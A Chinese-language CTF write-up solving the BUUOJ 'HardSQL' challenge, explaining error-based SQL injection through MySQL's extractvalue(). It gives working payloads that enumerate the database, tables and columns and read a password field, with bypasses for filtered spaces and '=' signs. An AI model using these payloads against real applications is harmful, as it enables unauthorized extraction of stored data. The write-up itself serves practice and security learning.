1. 程式人生 > 其它 >[極客大挑戰 2019]HardSQL 1-SQL報錯注入

[極客大挑戰 2019]HardSQL 1-SQL報錯注入

SQL注入-報錯注入

[極客大挑戰 2019]HardSQL

試題地址:http://94d112f4-9aed-4f3e-b2ff-0c98f30a81b9.node4.buuoj.cn/

  1. 先進行常規SQL注入:‘,’‘,order by,or and union

    先進行簡單測試,發現密碼框可能存在SQL注入,然後進行以下測試,發現都是這個頁面。

常規測試payload:    //如下payload都是在密碼框內測試
2' or '1'='1
2' or '1'='2
2' order by 3#
2' union select 1,2,3#

然後我們判斷這道題是報錯注入extractvalue()updatexml()

這兩個函式講解參考以下連結:

https://cloud.tencent.com/developer/article/1740429

我們這個題用的是extractvalue,我就簡單的介紹一下這個函式。

extractvalue()

語法:extractvalue(目標xml文件,xml路徑)

第一個引數:第一個引數可以傳入目標XML文件

第二個引數:xml中的位置是可操作的地方,xml文件中查詢字元位置是用/xxx/xxx/xxx...這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

​ 如果正常查詢的話 第二個引數的位置格式為/xxx/xxx/xxx...,即使查詢不到也不會報錯

tips:要注意的是,它能夠查詢的字串長度最大是32個字元,如果超過32位,就需要用函式來查詢:

比如left(),right(),substr()來擷取字串

舉個例子:

select extractvalue('<a><b></b></a>','/a/b'); 這個語句就是尋找前面一段xml文件內容中的a節點下的b節點,這裡如果Xpath格式語法書寫錯誤,就會報錯,這裡就是利用這個特性來獲得我們想要知道的內容。

利用concat函式將想要獲得的資料庫內容拼接到第二個引數中,報錯時作為內容輸出

百度了web 的騷操作
用’^'來連線函式,形成異或
這邊用的是extractvalue()

我們在測試的時候發現這題目還過濾了空格,百度瞭解了一下用括號來代替空格就能繞過了

我們先構造payload爆資料庫名:geek

2'^extractvalue(1,concat(0x5c,(select(database()))))#

然後構造payload爆該資料庫的表:

2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))))#

我們用這個payload發現出來的頁面還是這個:

猜測應該是=也被過濾了,然後百度瞭解了一下可以用like代替=,我們修改一下payload:

2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

發現爆出表:H4rDsq1

然後我們構造paylaod爆出表的列:id,username,password

2'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

我們檢視一下每個列裡面的內容:

發現id裡面只有一個1,username裡面有/flag,而password裡面有flag值,這裡只演示獲取password列裡面的內容:

構造payload:

2'^extractvalue(1,concat(0x5c,(select(password)from(geek.H4rDsq1))))#

然後我們發現只有一般的flag,看上面tips,所以我們用left(),right()個檢視一次構造完整的flag

2'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))#

2'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))#

最後兩邊對比去除多餘的得出flag!!


有什麼錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!求大佬帶帶我!!!